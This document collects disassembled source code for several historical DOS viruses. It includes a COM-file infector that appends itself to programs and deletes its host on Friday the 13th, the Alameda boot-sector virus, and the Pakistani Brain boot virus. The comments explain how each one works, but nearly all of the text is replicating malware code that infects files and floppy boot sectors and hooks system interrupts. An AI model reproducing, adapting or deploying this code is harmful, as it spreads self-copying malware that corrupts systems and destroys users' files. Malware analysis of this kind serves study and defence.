ES ; ; PUSH DS ; POP ES ; ; MOV AH,1AH ;SET DTA MOV DX,OFFSET DTA ; INT 21H ; ; MOV AH,4EH ;FIND FIRST XOR CX,CX ; MOV DX,OFFSET HOST_TYPE ; INT 21H ; JC R_90 ; ; R_10: CALL ATTACH ;INFECT FOUND FILE ; MOV AH,4FH ;FIND NEXT INT 21H ; JNC R_10 ;UNTIL NO MORE FOUND ; R_90: POP AX ; PUSH AX ; ; PUSH DS ; MOV DS,AX ; MOV AH,1AH ;RESTORE DTA MOV DX,0080H ; INT 21H ; POP DS ; ; POP ES ; RET ; ; ;-----------------------------------------------------------------------; ;-----------------------------------------------------------------------; ATTACH: PUSH ES ;IF 'COMMAND.COM' ATTEMPTED... MOV AX,DS ; MOV ES,AX ; MOV SI,offset HOST_NAME ; MOV DI,offset COMMAND_COM ; MOV CX,COMMAND_LENGTH ; CLD ; REPE CMPSB ; POP ES ; JNE A_01 ; JMP A_99 ;...DONT INFECT IT ; A_01: MOV AX,3D02H ;OPEN R/W MOV DX,offset HOST_NAME ;ie. '\COMMAND.COM' INT 21H ; JNC A_03 ; JMP A_90 ; ; A_03: MOV BX,AX ;BX=HANDLE ; PUSH word ptr [HOST_3] ;SAVE PUSH word ptr [HOST_3+2] ;SAVE ; MOV AH,3FH ;READ FIRST 3 BYTES MOV CX,3 ; MOV DX,offset HOST_3 ; INT 21H ; JC A_80 ; ; MOV AL,[NEW_3] ;IF ALREADY INFECTED... CMP [HOST_3],AL ; (YOU CAN TELL BY THE JUMP INSTRUCTION JNE A_05 ; AND BY THE SIZE OF THE JUMP) MOV AX,[HOST_SIZE] ; SUB AX,(offset OUR_END - offset BEGIN) SUB AX,3 ; CMP word ptr [HOST_3+1],AX ; JE A_85 ;...DONT INFECT AGAIN ; A_05: MOV AX,4202H ;POINT TO THE END XOR CX,CX ; XOR DX,DX ; INT 21H ; JC A_80 ; ; OR AX,0FH ;ROUND UP TO NEXT PARAGRAPH INC AX ; SUB AX,3 ;(TAKE INTO ACOUNT JMP INSTRUCTION SIZ) MOV [OUR_BEGIN],AX ; ; MOV AX,4200H ;POINT TO FIRST 3 BYTES XOR CX,CX ; XOR DX,DX ; INT 21H ; JC A_80 ; ; MOV AH,40H ;WRITE NEW 3 BYTES MOV CX,3 ; MOV DX,offset NEW_3 ; INT 21H ; JC A_80 ; ; ;REMEMBER, WERE ALREADY POINTING PAST THE FIRST 3 BYTES! MOV AX,4201H ;POINT TO END (ROUNDED UP TO PARA) XOR CX,CX ; MOV DX,[OUR_BEGIN] ; INT 21H ; JC A_80 ; ; MOV AH,40H ;APPEND VIRUS TO END OF FILE MOV CX,(offset OUR_END - offset BEGIN) MOV DX,offset BEGIN ; INT 21H ; JC A_80 ; ; JMP A_85 ;CLOSE AND RETURN ; A_80: ;CALL BEEP ; ; A_85: POP word ptr [HOST_3+2] ;SAVE POP word ptr [HOST_3] ;SAVE ; MOV AH,3EH ;CLOSE FILE INT 21H ; ; A_90: JNC A_99 ; ;CALL BEEP ; A_99: RET ; ; ;-----------------------------------------------------------------------; ; DO STUFF ; ;-----------------------------------------------------------------------; DO_STUFF: ; PUSH ES ; ; MOV AH,2AH ;GET DATE INT 21H ; ; CMP DL,13 ;IF FRIDAY THE 13th... JNE DS_90 ; CMP AL,5 ; JNE DS_90 ; ; XOR AX,AX ;FIND OUT INFECTED NAME MOV CX,32767 ; XOR DI,DI ; MOV ES,ES:[002CH] ; CLD ; REPNE SCASW ; JNE DS_90 ; ADD DI,2 ;SKIP '01 00' ; PUSH DS ;DELETE SELF PUSH ES ; POP DS ; MOV AH,41H ; MOV DX,DI ; INT 21H ; POP DS ; ; DS_90: POP ES ; RET ; ; ;-----------------------------------------------------------------------; ; PASS CONTROL TO THE HOST PROGRAM ; ;-----------------------------------------------------------------------; ALL_DONE: ; MOV AX,word ptr [HOST_3] ;RESTORE HOSTS FIRST 3 BYTES MOV ES:[100H],AX ; MOV AL,[HOST_3+2] ; MOV ES:[102H],AL ; ; POP DS ;! NOT ES ! POP BP ; POP DI ; POP SI ; POP DX ; POP CX ; POP BX ; POP AX ; ; RETF ; ; OUR_END LABEL BYTE ; ; CODE ENDS ; END BEGIN ; ******************************************************************** ----------------------------------------------------------------- ----------------------------------------------------------------- ******************************************************************** The "Alameda Virus". Also Called - Merritt Virus, Yale Virus, Peking Virus, Seoul Virus PAGE 64,132 ;-----------------------------------------------------------------------; ; This virus is of the "FLOPPY ONLY" variety. ; ; It replicates to the boot sector of a floppy disk and when it gains control ; it will move itself to upper memory. It redirects the keyboard ; ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; ; it will attempt to infect any floppy it finds in drive A:. ; ; It keeps the real boot sector at track 39, sector 8, head 0 ; ; It does not map this sector bad in the fat (unlike the Pakistani Brain) ; and should that area be used by a file, the virus ; ; will die. It also contains no anti detection mechanisms as does the ; ; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; ; sector 9 because this is common to all floppy formats both single ; ; sided and double sided. It does not contain any malevolent TROJAN ; ; HORSE code. It does appear to contain a count of how many times it ; ; has infected other diskettes although this is harmless and the count ; ; is never accessed. ; ; ; ; Things to note about this virus: ; ; It can not only live through an ALT-CTRL-DEL reboot command, but this ; ; is its primary (only for that matter) means of reproduction to other ; ; floppy diskettes. The only way to remove it from an infected system ; ; is to turn the machine off and reboot an uninfected copy of DOS. ; ; It is even resident when no floppy is booted but BASIC is loaded ; ; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; ; it activates and infectes the floppy from which the user is ; ; attempting to boot. ; ; ; ; Also note that because of the POP CS command to pass control to ; ; its self in upper memory, this virus does not to work on 80286 ; ; machines (because this is not a valid 80286 instruction). ; ; ; ; The Norton utilities can be used to identify infected diskettes by ; ; looking at the boot sector and the DOS SYS utility can be used to ; ; remove it (unlike the Brain). ; ;-----------------------------------------------------------------------; ; ORG 7C00H ; ; TOS LABEL WORD ;TOP OF STACK ;-----------------------------------------------------------------------; ; 1. Find top of memory and copy ourself up there. (keeping same offset); ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; ; 3. Redirect int 9 (keyboard) to ourself in top of memory ; ; 4. Jump to ourself at top of memory ; ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; ;-----------------------------------------------------------------------; BEGIN: CLI ;INITIALIZE STACK XOR AX,AX ; MOV SS,AX ; MOV SP,offset TOS ; STI ; ; MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) MOV DS,BX ; MOV AX,[0013H] ; MUL BX ; SUB AX,07E0H ; (7C00H+512)/16 MOV ES,AX ; ; PUSH CS ;DS = CS POP DS ; ; CMP DI,3456H ;IF THE VIRUS IS REBOOTING... JNE B_10 ; DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- ; B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY MOV DI,SI ; MOV CX,512 ; CLD ; REP MOVSB ; ; MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE MOV CX,128 ; REP MOVSB ; ; CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) ; PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH POP CS ; CS = ES ; PUSH DS ;DS=0 ;ES = DS POP ES ; ; MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0 MOV CX,2708H ; TRACK 40, SECTOR 8 MOV AX,0201H ; READ SECTOR INT 13H ; (common to 8/9 sect. 1/2 sided!) JB $ ; HANG IF ERROR ; JMP JMP_BOOT ;JMP 0000:7C00 ; ;-----------------------------------------------------------------------; ; SAVE THEN REDIRECT INT 9 VECTOR ; ; ; ; ON ENTRY: DS = 0 ; ; ES = WHERE TO SAVE OLD_09 & (HI) ; ; WHERE NEW_09 IS (HI) ; ;-----------------------------------------------------------------------; PUT_NEW_09: ; DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 ; MOV SI,9*4 ;COPY INT 9 VECTOR TO MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) MOV CX,0004 ; ; CLI ; REP MOVSB ; MOV Word Ptr [9*4],offset NEW_09 MOV [(9*4)+2],ES ; STI ; ; RET ; ; ;-----------------------------------------------------------------------; ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; ;-----------------------------------------------------------------------; ACK_KEYBD: ; IN AL,61H ;RESET KEYBOARD THEN CONTINUE MOV AH,AL ; OR AL,80H ; OUT 61H,AL ; XCHG AL,AH ; OUT 61H,AL ; JMP RBOOT ; ; ;-----------------------------------------------------------------------; ; DATA AREA WHICH IS NOT USED IN THIS VERSION ; ; REASON UNKNOWN ; ;-----------------------------------------------------------------------; TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 DB 27H,0,2,2 ; (CURRENTLY NOT USED) DB 27H,0,3,2 ; DB 27H,0,4,2 ; DB 27H,0,5,2 ; DB 27H,0,6,2 ; DB 27H,0,7,2 ; DB 27H,0,8,2 ; ; ;A7C9A LABEL BYTE ; DW 00024H ;NOT USED DB 0ADH ; DB 07CH ; DB 0A3H ; DW 00026H ; ; ;L7CA1: ; POP CX ;NOT USED POP DI ; POP SI ; POP ES ; POP DS ; POP AX ; POPF ; JMP 1111:1111 ; ; ;-----------------------------------------------------------------------; ; IF ALT & CTRL & DEL THEN ... ; ; IF ALT & CTRL & ? THEN ... ; ;-----------------------------------------------------------------------; NEW_09: PUSHF ; STI ; ; PUSH AX ; PUSH BX ; PUSH DS ; ; PUSH CS ;DS=CS POP DS ; ; MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME IN AL,60H ;GET SCAN CODE MOV AH,AL ;SAVE IN AH AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH ; CMP AL,1DH ;IS IT A [CTRL]... JNE N09_10 ;...JUMP IF NO MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) JMP N09_30 ; ; N09_10: CMP AL,38H ;IS IT AN [ALT]... JNE N09_20 ;...JUMP IF NO MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) JMP N09_30 ; ; N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... JNE N09_30 ;...JUMP IF NO ; CMP AL,17H ;IF [I]... JE N09_X0 ;...JUMP IF YES CMP AL,53H ;IF [DEL]... JE ACK_KEYBD ;...JUMP IF YES ; N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME ; N09_90: POP DS ; POP BX ; POP AX ; POPF ; ; DB 0EAH ;JMP F000:E987 OLD_09 DW ? ; DW 0F000H ; ; N09_X0: JMP N09_X1 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? MOV AX,0800H ;AL=0, AH=DELAY ARG OUT DX,AL ; CALL DELAY ; MOV [ALT_CTRL],AX ;AX=0 ; ; MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR INT 10H ; MOV AH,2 ;SET CURSOR POS 0,0 XOR DX,DX ; MOV BH,DH ; PAGE 0 INT 10H ; ; MOV AH,1 ;SET CURSOR TYPE MOV CX,0607H ; INT 10H ; ; MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) CALL DELAY ; ; CLI ; OUT 20H,AL ;SEND EOI TO INT CONTROLLER ; MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) MOV SI,offset BEGIN - 128 ; MOV CX,128 ; CLD ; REP MOVSB ; ; MOV DS,CX ;CX=0 ;DS=0 ; MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR MOV [(19H*4)+2],CS ; ; MOV AX,0040H ;DS = ROM DATA AREA MOV DS,AX ; ; MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) ; PUSH DS ;IF BIOS F000:E502 == 21E4... MOV AX,0F000H ; MOV DS,AX ; CMP Word Ptr [0E502H],21E4H ; POP DS ; JE R_90 ; INT 19H ; IF NOT...REBOOT ; R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! ; ;-----------------------------------------------------------------------; ; REBOOT INT VECTOR ; ;-----------------------------------------------------------------------; NEW_19: XOR AX,AX ; ; MOV DS,AX ;DS=0 MOV AX,[0410] ;AX=EQUIP FLAG TEST AL,1 ;IF FLOPPY DRIVES ... JNZ N19_20 ;...JUMP N19_10: PUSH CS ;ELSE ES=CS POP ES ; CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) INT 18H ;LOAD BASIC ; N19_20: MOV CX,0004 ;RETRY COUNT = 4 ; N19_22: PUSH CX ; MOV AH,00 ;RESET DISK INT 13 ; JB N19_81 ; MOV AX,0201 ;READ BOOT SECTOR PUSH DS ; POP ES ; MOV BX,offset BEGIN ; MOV CX,1 ;TRACK 0, SECTOR 1 INT 13H ; N19_81: POP CX ; JNB N19_90 ; LOOP N19_22 ; JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; N19_90: CMP DI,3456 ;IF NOT FLAG SET... JNZ RE_INFECT ;...RE INFECT ; JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR JMP 0000:7C00H ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; RE_INFECT: ; MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH MOV CX,00E6H ; OURSELF MOV DI,SI ; PUSH CS ; POP ES ; CLD ; REPE CMPSB ; JE RI_12 ;IF NOT EQUAL... ; INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) ; ;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; MOV BX,offset TABLE ;FORMAT INFO MOV DX,0000 ;DRIVE A: HEAD 0 MOV CH,40-1 ;TRACK 39 MOV AH,5 ;FORMAT JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! ; ; <<< NO EXECUTION PATH TO HERE >>> ; JB RI_80 ; ; ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 MOV BX,offset BEGIN ;TRACK 40H MOV CL,8 ;SECTOR 8 MOV AX,0301H ;WRITE 1 SECTOR INT 13H ; ; PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) POP ES ; JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE ; MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! MOV AX,0301 ; INT 13H ; JB RI_80 ; IF ERROR...JUMP TO BOOT CODE ; RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... INT 19H ;...FLAG AND REBOOT ; RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) JMP JMP_BOOT ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS ; MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG MOV BX,0040H ; MOV DS,BX ; MOV [0072H],AX ; 0040:0072 = RESET FLAG JMP N09_90 ; ; ;-----------------------------------------------------------------------; ; DELAY ; ; ; ; ON ENTRY AH:CX = LOOP COUNT ; ;-----------------------------------------------------------------------; DELAY: SUB CX,CX ; D_01: LOOP $ ; SUB AH,1 ; JNZ D_01 ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; A7DF4 DB 27H,00H,8,2 COUNTER_1 DW 001CH ALT_CTRL DW 0 A7DFC DB 27H,0,8,2 ********************************************************************* --------------------------------------------------------------------- --------------------------------------------------------------------- ********************************************************************* The "Pakistani Brain" ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CODE SEGMENT PUBLIC 'CODE' ; ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING ; ORG 0 ; ; BPB EQU 3+8 ;JMP + OEM_NAME ; ;-----------------------------------------------------------------------; ; COPY OF BOOT SECTOR ; ;-----------------------------------------------------------------------; ; DB 6 DUP (?) ; ; L0006 DB ? ;HEAD L0007 DB ? ;SECTOR L0008 DB ? ;TRACK ; L0009 DB ? ;HEAD L000A DB ? ;SECTOR L000B DB ? ;TRACK ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ; ORG 512 ; ; ;-----------------------------------------------------------------------; ; (BOOT SECTOR TYPE FORMAT!) ; ;-----------------------------------------------------------------------; CONTINUE: JMP CONTINUE_2 ;023C ; L0203 DB 'IBM X3.2' ;OEM NAME AND VERSION ; DW 512 ;BYTES PER SECTOR DB 2 ;SECTORS PER ALLOCATION UNIT DW 1 ;RESERVED SECTORS L0210 DB 2 ;NUMBER OF FATS DW 112 ;NUMBER OF ROOT DIR ENTRIES DW 2D0H ;SECTORS PER DISK DB 0FDH ;MEDIA ID DW 2 ;SECTORS PER FAT DW 9 ;SECTORS PER TRACK DW 2 ;NUMBER OF HEADS DW 0 ;HIDDEN SECTORS ; ;---------------------------------------; DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 2 DISK_PARM DB 0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2 ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; REBOOT: INT 19H ;REBOOT ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONTINUE_2: ; CLI ; XOR AX,AX ; MOV ES,AX ;ES=0 MOV SS,AX ;SS:SP = 0000:7C00 MOV SP,7C00H ; MOV DS,AX ; MOV BX,07C0H ;INITIALIZE DISK POINTER (INT 1E) MOV Word Ptr [78H],2FH ;0000:0078 = (DWORD) 07C0:002F MOV [7AH],BX ; ; MOV DS,BX ;DS = 07C0 MOV DX,[1EH] ;GET DRIVE/HEAD ;BOOT:001E ! MOV [20H],DL ;SAVE DRIVE ;BOOT:0020 ! INT 13H ;RESET JNB C_10 ; JMP ERROR_2 ;IF ERROR...'BOOT FAILURE' ; C_10: MOV SI,BPB ;SI = BPB ;BOOT:000B MOV CX,[SI] ;CX = BYTES PER SECTOR SHR CH,1 ;WORDS PER SECTOR XCHG CH,CL ; MOV [2BH],CX ;SAVE ;BOOT:002B MOV AL,[SI+5] ;AL= NUMBER OF FATS ;BOOT:0010 XOR AH,AH ; MUL Word Ptr [SI+0BH] ;TOTAL FAT SECTORS ;BOOT:0016 ADD AX,[SI+3] ;+RESERVED SECTORS ;BOOT:000E ADD AX,[SI+11H] ;+HIDDEN SECTORS ;BOOT:001C MOV [24H],AX ;SAVE IT ;BOOT:0024 MOV BX,7E00H ; CALL UI ; ; MOV BX,ES ;SAVE ES MOV AX,70H ;ES=0070H MOV ES,AX ; MOV AX,32 ;32* MUL Word Ptr [SI+6] ; ROOT DIR ENTRIES+ MOV CX,[SI] ; ADD AX,CX ; BYTES/SECTOR DEC AX ; -1 DIV CX ; /BYTES/SECTOR ADD [24H],AX ;ADD TO BYTES IN BOOT & FAT ; MOV CL,[2AH] ; MOV AX,[24H] ; CALL READ_CLUSTER ;(READ BOOT SECTOR ???) ; PUSH ES ; POP DS ; JMP 0070H:0000H ;(PASS CONTROL TO ???) ; ;-----------------------------------------------------------------------; ; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!) ; ; ON ENTRY: AX = ? ; ES:BX = DTA ; ; CL = ? ; ; DS:SI = BPB ; ; DS:[0021] = ; ;-----------------------------------------------------------------------; READ_CLUSTER: ;02B3 PUSH BX ; PUSH AX ; ; MOV AL,CL ; MUL Byte Ptr [2BH] ; MOV [29H],AL ; POP AX ; MUL Word Ptr [2BH] ; DIV Word Ptr [SI+0DH] ;(BPB.SECTORS PER TRACK) INC DL ; MOV [28H],DL ; PUSH DX ; XOR DX,DX ; DIV Word Ptr [SI+0FH] ;(BPB.NUMBER OF HEADS) MOV [21H],DL ; MOV [26H],AX ; POP DX ; RC_10: MOV CL,[29H] ; ADD DL,CL ; MOV AX,[SI+0DH] ;(BPB.SECTORS PER TRACK) INC AX ; CMP DL,AL ; JBE RC_20 ; SUB AL,[28H] ; MOV CL,AL ; RC_20: MOV AL,CL ; MOV DX,[26H] ; MOV CL,6 ; SHL DH,CL ; OR DH,[28H] ; MOV CX,DX ; XCHG CH,CL ; MOV DX,[20H] ; ; MOV AH,2 ;READ SECTOR PUSH AX ; INT 13H ; POP AX ; JB ERROR_2 ;IF ERROR...'BOOT FAILURE' SUB [29H],AL ; JBE RC_90 ; CBW ; MUL Word Ptr [2DH] ; ADD BX,AX ; INC Byte Ptr [21H] ; MOV DL,[21H] ; CMP DL,[SI+0FH] ; MOV DL,1 ; MOV [28H],DL ; JB RC_10 ; MOV Byte Ptr [21H],0 ; INC Word Ptr [26H] ; JMP RC_10 ; ; RC_90: POP BX ; RET ; ; ;-----------------------------------------------------------------------; ; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY ; ;-----------------------------------------------------------------------; ERROR_1: ;0339 MOV SI,01B3H ;'Non-System disk' JMP E_10 ; ; ;---------------------------------------; ERROR_2: ; MOV SI,01C5H ;'BOOT failure' E_10: CALL DISPLAY_STRING ; ; MOV SI,01D4H ;'Replace and press any key when ready' CALL DISPLAY_STRING ; ; MOV AH,0 ;WAIT FOR A KEY INT 16H ; E_20: MOV AH,1 ; THROW IT AWAY AND INT 16H ; WAIT FOR ANOTHER ONE BUT JNZ E_20 ; DONT GET IT JMP REBOOT ; ; ;-----------------------------------------------------------------------; ; DISPLAY ASCIIZ STRING ; ; ON ENTRY: DS:SI = ASCIIZ STRING ; ;-----------------------------------------------------------------------; DISPLAY_STRING: ;0357 DS_00: LODSB ;DISPLAY UNTIL NULL OR AL,AL ; JZ DS_90 ; MOV AH,0EH ; MOV BX,7 ; INT 10 ; JMP DS_00 ; DS_90: RET ;0365 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; UI: ;0366: MOV CL,01 ; CALL READ_CLUSTER ; ; PUSH SI ; MOV DI,BX ; MOV AX,ES:[BX+1C] ; XOR DX,DX ; DIV Word Ptr [SI] ; INC AL ; MOV [002A],AL ; MOV SI,019D ; MOV CX,000B ; REPZ ; CMPSB ; JNZ ERROR_1 ;'NON SYSTEM DISK' MOV AX,ES:[BX+3A] ; MOV [0022],AX ; MOV DI,BX ; ADD DI,+20 ; MOV SI,01A8 ; MOV CX,000B ; REPZ ; CMPSB ; JNZ ERROR_1 ;'NON SYSTEM DISK' POP SI ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L039D DB 'IBMBIO COM' DB 'IBMDOS COM' DB CR,LF,'Non-System disk',0 DB CR,LF,'BOOT failure',0 DB CR,LF,'Replace and press any key when ready',0 DB 90H,90H,90H,55H,0AAH ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0400: JMP SHORT CONT_A ; ; DB '(c) 1986 Basit & Amjads (pvt) Ltd ',0 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONT_A: ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0A5B DB 'IBMBIO COM' DB 'IBMDOS COM' DB CR,LF,'Non-System disk',0 DB CR,LF,'BOOT failure',0 DB CR,LF,'Replace and press any key when ready',0 DB 90H,90H,90H,55H,0AAH ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD AL,00 ;0425 0400 ADD [06C6],CH ;0427 002EC606 AND AX,1F02 ;042B 25021F ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; REDIRECT_13: ;042E XOR AX,AX ;GET INT 13 VECTOR MOV DS,AX ; MOV AX,[004CH] ; MOV [01B4H],AX ; (SAVE IT TO INT 6D VECTOR) MOV AX,[004EH] ; MOV [01B6H],AX ; MOV AX,0276H ;SET INT 13 VECTOR MOV [004CH],AX ; MOV AX,CS ; MOV [004EH],AX ; ; MOV CX,0004 ;RETRY = 4 XOR AX,AX ; MOV ES,AX ; L0450: PUSH CX ; MOV DH,CS:[0006] ;DH = HEAD MOV DL,00 ;DRIVE A: MOV CX,CS:[0007] ;CX = TRACK/SECTOR MOV AX,0201 ;READ 1 SECTOR MOV BX,7C00 ;ES:BX == DTA = 0000:7C00 INT 6DH ; JNB L0470 ; MOV AH,00 ;RESET INT 6DH ; POP CX ;TRY AGAIN LOOP L0450 ; INT 18H ;LOAD BASIC ; L0470: JMP 0000:7C00 ;JUMP TO BOOT LOADER ?!?! ; NOP ;0475 90 STI ;0476 FB CMP AH,02 ;0477 80FC02 JNZ L0494 ;047A 7518 CMP DL,02 ;047C 80FA02 JA L0494 ;047F 7713 CMP CH,00 ;0481 80FD00 JNZ L048B ;0484 7505 CMP DH,00 ;0486 80FE00 JZ L0497 ;0489 740C L048B: DEC Byte Ptr CS:[0225] ;048B 2EFE0E2502 JNZ L0494 ;0490 7502 JMP L0497 ;0492 EB03 L0494: JMP L053C ;0494 E9A500 L0497: MOV Byte Ptr CS:[0227],00 ;0497 2EC606270200 MOV Byte Ptr CS:[0225],04 ;049D 2EC606250204 PUSH AX ;04A3 50 PUSH BX ;04A4 53 PUSH CX ;04A5 51 PUSH DX ;04A6 52 MOV CS:[0226],DL ;04A7 2E88162602 MOV CX,0004 ;04AC B90400 PUSH CX ;04AF 51 MOV AH,00 ;04B0 B400 INT 6D ;04B2 CD6D JB ;04CB ;04B4 7215 MOV DH,00 ;04B6 B600 MOV CX,0001 ;04B8 B90100 MOV BX,06BE ;04BB BBBE06 PUSH ES ;04BE 06 MOV AX,CS ;04BF 8CC8 MOV ES,AX ;04C1 8EC0 MOV AX,0201 ;04C3 B80102 INT 6D ;04C6 CD6D POP ES ;04C8 07 JNB ;04D1 ;04C9 7306 POP CX ;04CB 59 LOOP ;04AF ;04CC E2E1 JMP ;04FF ;04CE EB2F NOP ;04D0 90 POP CX ;04D1 59 MOV AX,CS:[06C2] ;04D2 2EA1C206 CMP AX,1234 ;04D6 3D3412 JNZ ;04E3 ;04D9 7508 MOV Byte Ptr CS:[0227],01 ;04DB 2EC606270201 JMP ;0503 ;04E1 EB20 PUSH DS ;04E3 1E PUSH ES ;04E4 06 MOV AX,CS ;04E5 8CC8 MOV DS,AX ;04E7 8ED8 MOV ES,AX ;04E9 8EC0 PUSH SI ;04EB 56 CALL L0804 ;04EC E81503 JB ;04FA ;04EF 7209 MOV Byte Ptr CS:[0227],02 ;04F1 2EC606270202 CALL L06B2 ;04F7 E8B801 POP SI ;04FA 5E POP ES ;04FB 07 POP DS ;04FC 1F JNB ;0503 ;04FD 7304 MOV AH,00 ;04FF B400 INT 6D ;0501 CD6D POP DX ;0503 5A POP CX ;0504 59 POP BX ;0505 5B POP AX ;0506 58 CMP CX,+01 ;0507 83F901 JNZ L053C ;050A 7530 CMP DH,00 ;050C 80FE00 JNZ L053C ;050F 752B CMP Byte Ptr CS:[0227],01 ;0511 2E803E270201 JNZ ;052A ;0517 7511 MOV CX,CS:[06C5] ;0519 2E8B0EC506 MOV DX,CS:[06C3] ;051E 2E8B16C306 MOV DL,CS:[0226] ;0523 2E8A162602 JMP L053C ;0528 EB12 CMP Byte Ptr CS:[0227],02 ;052A 2E803E270202 JNZ L053C ;0530 750A ; MOV CX,CS:[0007] ;CX = TRACK/SECTOR MOV DH,CS:[0006] ;DH = HEAD L053C: INT 6DH ; RETF 2 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0541 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0550: JMP CONTINUE_3 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0553 DW 3 ; DB ' (c) 1986 Basit & Amjads (pvt) Ltd' ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CONTINUE_3: ;0577 CALL READ_VERIFY ;READ VERIFY MOV AX,[06BEH] ;IF ??? == DOUBLD SIDED 9 SECTORS... CMP AX,0FFFDH ; JE L0586 ;...CONTINUE MOV AL,3 ;ELSE RETURN ??? ERROR STC ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; L0586: ;0586 MOV CX,0037 ; MOV Word Ptr [0353],0000 ; CALL ;05F8 ;058F E86600 CMP AX,0000 ;0592 3D0000 JNZ ;05A5 ;0595 750E INC Word Ptr [0353] ;0597 FF065303 CMP Word Ptr [0353],+03 ;059B 833E530303 JNZ ;05AB ;05A0 7509 JMP ;05B6 ;05A2 EB12 NOP ;05A4 90 MOV Word Ptr [0353],0000 ;05A5 C70653030000 INC CX ;05AB 41 CMP CX,0163 ;05AC 81F96301 JNZ ;058F ;05B0 75DD MOV AL,01 ;05B2 B001 STC ;05B4 F9 RET ;05B5 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV DL,03 ;05B6 B203 CALL ;05CB ;05B8 E81000 DEC CX ;05BB 49 DEC DL ;05BC FECA JNZ ;05B8 ;05BE 75F8 INC CX ;05C0 41 CALL CONVERT_1 ;CLUSTER TO TRACK/SECTOR/HEAD CALL ;062D ;05C4 E86600 MOV AL,00 ;05C7 B000 CLC 